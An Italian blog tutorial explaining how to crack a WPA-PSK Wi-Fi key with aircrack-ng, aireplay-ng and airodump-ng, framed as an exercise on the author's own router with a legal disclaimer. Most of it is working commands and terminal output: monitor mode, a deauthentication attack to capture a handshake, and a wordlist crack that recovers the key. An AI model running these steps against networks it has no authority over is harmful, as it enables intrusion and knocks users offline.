Craccare una rete wireless [WPA-PSK] tramite aircrack

Tempo di lettura: 9 minuti
Data pubblicazione: April 16, 2016
wpacrack
wpacrack

Questo articolo è per scopi didattici, farlo su reti su cui non si hanno autorizzazioni è illegale (articolo 615-ter del codice penale italiano).

Introduzione

Come per lo scorso articolo, utilizzerò il software Aircrack-ng. Esso, insieme ad aireplay e airodump, permette di sniffare e craccare una rete wireless WPA utilizzando una lista di parole (quindi non sarà una cosa certa come per il WEP).

WPA sta a significare Wi-Fi Protected Access ed è  un miglioramento dell’ormai defunto WEP. Per l’autenticazione prevede due possibili modalità:

  • Enterprise: viene utilizzato un server RADIUS che distribuisce le chiavi agli utenti;
  • Personal: quello che mostrerò nell’articolo, utilizza una chiave segreta condivisa da tutti gli host connessi alla rete.

WPA utilizza come protocollo crittografico TKIP, che a sua volta utilizza RC4, che è lo stesso del WEP, ma con chiavi a 128 bit e un IV a 48 bit.

Entro in modalità monitor

Per prima cosa digito:

ifconfig

per capire quale interfaccia è libera da poter modificare e iniziare il monitoraggio della rete.

root@kali:~# ifconfig 
eth0: flags=4099<UP,BROADCAST,MULTICAST>  mtu 1500
        ether 00:[..]:2a  txqueuelen 1000  (Ethernet)
        RX packets 0  bytes 0 (0.0 B)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 0  bytes 0 (0.0 B)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
        inet 127.0.0.1  netmask 255.0.0.0
        inet6 ::1  prefixlen 128  scopeid 0x10
        loop  txqueuelen 1  (Local Loopback)
        RX packets 24  bytes 1440 (1.4 KiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 24  bytes 1440 (1.4 KiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

wlan0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        ether 00:[..]:0e  txqueuelen 1000  (Ethernet)
        RX packets 5945  bytes 4767533 (4.5 MiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 4937  bytes 914927 (893.4 KiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

Scelgo wlan0 e inizio la modalità monitor:

airmon-ng start wlan0

Airmon-ng è uno script in Posix scritto apposta per trasformare la modalità della scheda di rete in monitor mode.

Se il programma da errore (dicendo che è occupata da qualche processo), basta digitare:

airmon-ng check kill

e ripetere il comando di prima. Il risultato, digitando ancora ifconfig, sarà:

wlan0mon: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        unspec 00:[..]:0E  txqueuelen 1000  (UNSPEC)
        RX packets 927  bytes 107988 (105.4 KiB)
        RX errors 0  dropped 927  overruns 0  frame 0
        TX packets 0  bytes 0 (0.0 B)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

Come vedere wlan0 non esiste più ed è stata sostituita da wlan0mon.

Catturo i pacchetti

Inizio a catturare i dati che passano per la rete designata:

root@kali:~# airodump-ng --write capture wlan0mon
CH  6 ][ Elapsed: 8 mins ][ 2016-04-16 11:16 ][ WPA handshake: E8:[..]:F9                                         
                                                                                                                                                     
 BSSID       PWR  Beacons #Data, #/s CH   ENC CIPHER AUTH ESSID
                                                                                                                                                     
 A4:[..]:A6   -1    0        1   0   6   WPA              <length:0>
 E8:[..]:F9  -66 1031     2922   2   6   WPA  CCMP   PSK  TP-LINK_2.4GHz  
 00:[..]:E8  -83  503        1   0   1   WPA2 TKIP   PSK  Alice-47197323  
 00:[..]:00  -45    0      470   0   6   OPN              <length:0>                                                                 
                                                                                                                                                     

 BSSID       STATION     PWR  Lost Frame Probe
                                                                                                                                                   
 A4:[..]:A6  A4:[..]:35  -89  0    9     
 E8:[..]:F9  88:[..]:94  -39  112  1946  TP-LINK_2.4GHz    
 E8:[..]:F9  F0:[..]:00  -43  0    1528  TP-LINK_2.4GHz

Airodump è un tool creato appositamente per catturare pacchetti e passarli poi ad Aircrack. Le opzioni che ho inserito sono:

  • - -write fa il Dump del prefisso dei file sniffati;
  • capture: è il nome del file che si andrà a creare con i pacchetti;
  • wlan0mon: interfaccia che si è creata precedentemente;

Deautentico l’host

Mentre Airodump lavora, apro un nuovo terminale e digito

root@kali:~# aireplay-ng --deauth 11 -a E8:[..]:F9 wlan0mon
11:16:14  Waiting for beacon frame (BSSID: E8:[..]:F9) on channel 6
NB: this attack is more effective when targeting
a connected wireless client (-c <client's mac>).
11:16:15  Sending DeAuth to broadcast -- BSSID: [E8:[..]:F9]
11:16:15  Sending DeAuth to broadcast -- BSSID: [E8:[..]:F9]
11:16:20  Sending DeAuth to broadcast -- BSSID: [E8:[..]:F9]

Aireplay invia i pacchetti nella rete wireless per generate traffico e cerca di autenticarsi al target, i comandi passati sono:

  • -1: crea un’autenticazione falsa con l’AP con 0 impostato come ritardo;
  • -a E8:[..]:F9: è il mac address dell’access point (il modem);
  • -deatuh de-autentica il dispositivo connesso, solo grazie a questo comando riusciamo ad intercettare la chiave, poichè l’utente si cercherà di reautenticare;
  • wlan0mon: interfaccia wireless in monitor mode.

Trovo la password utilizzando una lista di parole

L’ultima fase serve per trovare la password che è contenuta nel file che abbiamo ottenuto, e lo facciamo con aircrack.

Un’ottima fonte per la lista di parole si trova qui.

root@kali:~# aircrack-ng -a 2 -w Documents/psw/wordlists-user-passwd/otherpass.txt capture-01.cap 
Opening capture-01.cap
Read 12369 packets.

   #  BSSID              ESSID                     Encryption

   1  00:[..]:E8        Alice-47197323            WPA (0 handshake)
   2  E8:[..]:F9        TP-LINK_2.4GHz            WPA (1 handshake)
   3  00:[..]:00                                  WPA (0 handshake)
   4  A4:[..]:A6                                  WPA (0 handshake)

Index number of target network ? 2

Opening capture-01.cap
Reading packets, please wait...


                                 Aircrack-ng 1.2 rc4

      [00:02:28] 158292/1997916 keys tested (868.90 k/s)  

      Time left: 35 minutes, 19 seconds                          7.92%

                           KEY FOUND! [ 123ABC45 ]


      Master Key     : FE 62 2B D4 70 7E 0E 78 42 26 BB 1B 93 BC 4D 87 
                       83 F7 6F E4 A6 6B F5 F4 98 1A 5C A4 FB 1B 4B 74 

      Transient Key  : DF 39 8D F2 31 F6 DB 55 B6 FC A1 6D 75 8A 4B 94 
                       A3 18 15 C2 C9 E1 2D 66 C3 12 24 79 53 44 57 DA 
                       8F 1E BB 2D 07 D9 12 0B 28 77 CA FB EF 50 55 BA 
                       E5 A4 E4 12 13 49 48 EB D2 EA 20 86 93 4D A4 FD 

      EAPOL HMAC     : 9E C2 73 F6 DF 37 F1 E8 CC 8C 7E 92 4B 25 F8 D3 

Ed ecco che ha trovato la chiave, e per rilevarla ci ha messo circa 15 minuti (ha scansionato il file delle password che gli ho passato, dipende da quante parole avete). Ricorco che se non viene rilevato nessun handshake sarà impossibile trovare una chiave. Fare questo tipo di esercizio è davvero banale, basta che impostate il vostro modem con sicurezza WPA, inserite una password scelta da voi (nel mio caso ho inserito 123ABC45) e connettete un dispositivo qualsiasi. Con un altro computer seguite i passaggi (o Virtual Machine) e provate a capire ogni fase, magari tentando altre vie o metodi e studiando i tool introdotti a fondo (ricordatevi poi di reimpostare la sicurezza WPA2!).

Il titolo di questo mi sembra molto banale e clickbait, ma non mi è venuto in mente altro. Se avete idee per migliorarlo sarò lieto di farlo.